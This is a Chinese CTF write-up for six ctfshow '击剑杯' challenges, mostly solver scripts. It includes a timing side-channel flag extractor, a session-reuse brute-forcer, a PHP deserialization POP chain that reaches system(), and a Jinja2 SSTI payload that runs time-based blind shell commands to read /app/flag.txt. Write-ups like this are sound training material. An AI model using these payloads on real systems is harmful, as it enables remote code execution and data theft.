ctfshow_击剑杯wp_flag挂树上-看图识码-看图识妹-easyPOP-给我看看-近在眼前

flag挂树上#

#!/usr/bin/python3

import time

class Tree:
    def __init__(self, data=None):
        self.left = None
        self.right = None
        self.data = data

    def add(self, data):
        if self.data == None:
            self.data = data
        elif data < self.data:
            if self.left is None:
                self.left = Tree(data)
            else:
                self.left.add(data)
        elif data > self.data:
            if self.right is None:
                self.right = Tree(data)
            else:
                self.right.add(data)
        # 重复的福来阁我们就不再往树上挂了

    def find(self, data):
        time.sleep(0.01)
        # 哎哟好烦，怎么就卡住了……
        if self.data == data:
            return True
        if data > self.data:
            return self.right is not None and self.right.find(data)
        if data < self.data:
            return self.left is not None and self.left.find(data)
        return False

    def length(self):
        ret = 1 if self.data is not None else 0
        ret += self.right.length() if self.right is not None else 0
        ret += self.left.length() if self.left is not None else 0
        return ret

def get_flag():
    with open("flag.txt") as f:
        flag = f.read()
    return flag

def one_second():
    print("Press [ENTER] to let me take 1 second from your life:")
    input()
    time.sleep(1)
    print("Now you minus 1 second and I add 1 second.")

MENU = """
Menu:
(1) Give Me 1 Second
(2) Hang the Flags on a Tree
"""

if __name__ == "__main__":
    print("Hola! This service will help you hang the flags on a tree.")
    while True:
        print(MENU)
        x = input("> ")
        if '1' in x:
            one_second()
        if '2' in x:
            break
    my_tree = Tree(None)
    print("FEATURE: You can hang many flags at one time on a tree.")
    print("Please enter flags that you want to hang on the tree, in the regex form ctfshow{.+}")
    print("Please enter one flag per line.")
    print()
    print("Please enter a new line to end hanging.")
    while True:
        s = input("Flag to be hung: ")
        if len(s) == 0:
            break
        my_tree.add(s)
    if my_tree.find(get_flag()):
        print("FUIYOH! You have hung at least 1 correct flag on the tree!")
    else:
        print("HAIYAA! You have hung trash on the tree! Please throw them into the trash bin, okay?")

代码就是根据你输入文本插入二叉树里，然后从二叉树里面找flag

这里利用点是每一次判断节点都会停留0.01s，我们设计一棵树

根节点为c，只有右子树，为cb,cb,cbbb...（因为不允许重复）

这样比如flag开头是cd，他会往右边走，每一次花0.01秒，一共花了0.05秒。要是开头是ca，就往左边走，花0.01秒

 这样我们就能构造脚本盲注了

Host='xxx.xxx'

ans=''
while(1):
    head = 32
    tail = 127
    print(ans)
    while head < tail:
        tn = telnetlib.Telnet(Host, port=28185, timeout=10)
        tn.set_debuglevel(0)
        k = tn.read_until(rr, timeout=1)
        print(k)
        tn.write(zz)
        mid = (head + tail) >> 1
        if(tail==head+1):
            mid=mid+1
        i=chr(mid)
        print(i)
        for mi in range(10):
            k = tn.read_until(yy, timeout=0.5)
            #print(str(k,'utf-8'))
            c=ans+i
            print(c)
            bb = bytes(c+'\n', 'utf-8')
            tn.write(bb)
            i=i+'!'
        bb = bytes('\n', 'utf-8')
        tn.write(bb)
        k = tn.read_until(yy, timeout=0.09)
        print(str(k, 'utf-8'))
        if('trash'  in str(k, 'utf-8')):
            tail = mid-1
        else:
            head = mid   #小
        print(chr(head)+chr(tail))
    ans=ans+chr(head)

 

 

 

看图识妹#

每一次输入会更新session,我们正确就换新的session，错误就用旧的session继续即可

import requests
import re

url = "http://e43e9eac-699c-4143-989c-4afe0bb72775.challenge.ctf.show/start"
url2 = "http://e43e9eac-699c-4143-989c-4afe0bb72775.challenge.ctf.show/check"
se = 'eyJyb3VuZF9zIjo2fQ.YY1DaQ.1LnKRbuwJVi5dz60AhGMDaEfstM';
while(1):

    while(1):
        headers = {
            'Cookie': 'UM_distinctid=17cc9de90647a-0dbb54e8c1219f-57b193e-1fa400-17cc9de9065461; session=' + se
        }
        r = requests.get(url=url,headers=headers)
        s = re.findall("<p><img src=.{1000}(.{20})", r.text)
        print(s)
        m=0
        for i in "ABCDEFGHIJ":
            for j in "0123456789":
                data = {"meizi_id":i+j,
                        'Cookie': 'UM_distinctid=17cc9de90647a-0dbb54e8c1219f-57b193e-1fa400-17cc9de9065461; session=' + se}
                k = requests.post(url=url2,data=data,headers=headers)
                if (k.text == '<h2>恭喜你回答正确</h2><meta http-equiv="refresh" content="2;url=start">'):
                    print(k.text);
                    ss = re.findall("session=(.*); HttpOnly", str(k.headers))
                    print(ss)
                    se=ss[0];
                    m=1
                    break;
            if(m==1):
                break

 

 

看图识码#

4个micro qr码合成的，分成4个后扫描即可，软件用barcode scanner

 

 

easyPOP#

<?php 
highlight_file (__FILE__);
error_reporting(0);
class action_1{
    public $tmp;
    public $fun = 'system';
    public function __call($wo,$jia){
        call_user_func($this->fun);
    }
    public function __wakeup(){
        $this->fun = '';
        die("阿祖收手吧，外面有套神");
    }
    public function __toString(){
        return $this->tmp->str;
    }
}

class action_2{
    public $p;
    public $tmp;
    public function getFlag(){
        if (isset($_GET['ctfshow'])) {
            $this->tmp = $_GET['ctfshow'];
        }
        system("cat /".$this->tmp);
    }
    public function __call($wo,$jia){
        phpinfo();
    }
    public function __wakeup(){
        echo "<br>";
        echo "php版本7.3哦，没有人可以再绕过我了";
        echo "<br>";
    }
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

class action_3{
    public $str;
    public $tmp;
    public $ran;
    public function __construct($rce){
        echo "送给你了";
        system($rce);
    }
    public function __destruct(){
        urlencode($this->str);
    }
    public function __get($jia){
        if(preg_match("/action_2/",get_class($this->ran))){
            return "啥也没有";
        }
        return $this->ran->$jia();
    }
}

class action_4{
    public $ctf;
    public $show;
    public $jia;
    public function __destruct(){
        $jia = $this->jia;
        echo $this->ran->$jia;
    }
    public function append($ctf,$show){
        echo "<br>";
        echo new $ctf($show);
    }
    public function __invoke(){
        $this->append($this->ctf,$this->show);
    }
}
if(isset($_GET['pop'])){
    $pop = $_GET['pop'];
    $output = unserialize($pop);
    if(preg_match("/php/",$output)){
            echo "套神黑进这里并给你了一个提示：文件名是f开头的形如fA6_形式的文件";
            die("不可以用伪协议哦");
        }
}

注意到

class action_3{
    public $str;
    public $tmp;
    public $ran;
    public function __construct($rce){
        echo "送给你了";
        system($rce);
    }
...

action_3构造函数有system，尝试戴参数的new一个action_3即可
而

class action_4{
    public $ctf;
    public $show;
    public $jia;
...
    public function append($ctf,$show){
        echo "<br>";
        echo new $ctf($show);
    }
    public function __invoke(){
        $this->append($this->ctf,$this->show);
    }
}

action_4的__invoke函数调用append函数能创建新类,而__invoke是该类被当作函数处理时会调用

继续观察

class action_2{
。。。
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

action_2的__get函数会调用p，让p等于 action4即可，而__get是调用不存在的变量时会触发

继续看

class action_1{
。。。
    public function __toString(){
        return $this->tmp->str;
    }
}

action_1会返回tmp的str，我们让tmp等于action_2，str随便设置即可，下面就是调用__tostring了

注意到

class action_3{
。。。
    public function __destruct(){
        urlencode($this->str);
    }

}

action_3的析构函数会url解码str,让str等于action_1即可调用其__tosrting

payload

<?php 
highlight_file (__FILE__);

class action_1{
    public $tmp;
    public $fun = 'system';
}

class action_2{
    public $p;
    public $tmp;
}

class action_3{
    public $str;
    public $tmp;
    public $ran;
}

class action_4{
    public $ctf;
    public $show;
    public $jia;
}

$a=new action_3();
$a->str=new action_1();
$a->str->tmp=new action_2();
$a->str->tmp->p=new action_4();
$a->str->tmp->p->ctf='action_3';
$a->str->tmp->p->show='ls /';
print_r(serialize($a));

 

 

 

 

给我看看#

简单的变量覆盖即可

payload

<?php
header("Content-Type: text/html;charset=utf-8");

class whoami{
    public $name;
    public $your_answer;
    public $useless;
}

$a= new whoami();
$a->your_answer ='1';
print_r(serialize($a));

post传入是覆盖secret，并且覆盖you_never_know

 

 

 

近在眼前#

脚本跑的，感觉不是预期解

str='-'+'_'+'{'+'}'+string.ascii_letters+string.digits
result=""

for j in range(10,50):
    for n in str:
        payload='if [ `cat /app/flag.txt|cut -c {1} ` != {2} ];then sleep 0.3 ; fi'.format(0,j,n)
        url="http://9da14a5e-73e8-4fc7-8ff8-a109b496b3a5.challenge.ctf.show/ssti?input={{%22%22.__class__.__mro__[-1].__subclasses__()[100].__init__.__globals__[%27__builtins__%27][%27eval%27](%27__import__(%22os%22).system(\""+payload+"\")%27)}}"
        try:
            print(url)
            requests.get(url,timeout=(0.3 ,0.3 ))
            result=result+n
            print(result)
            break
        except:
            continue
result+=" "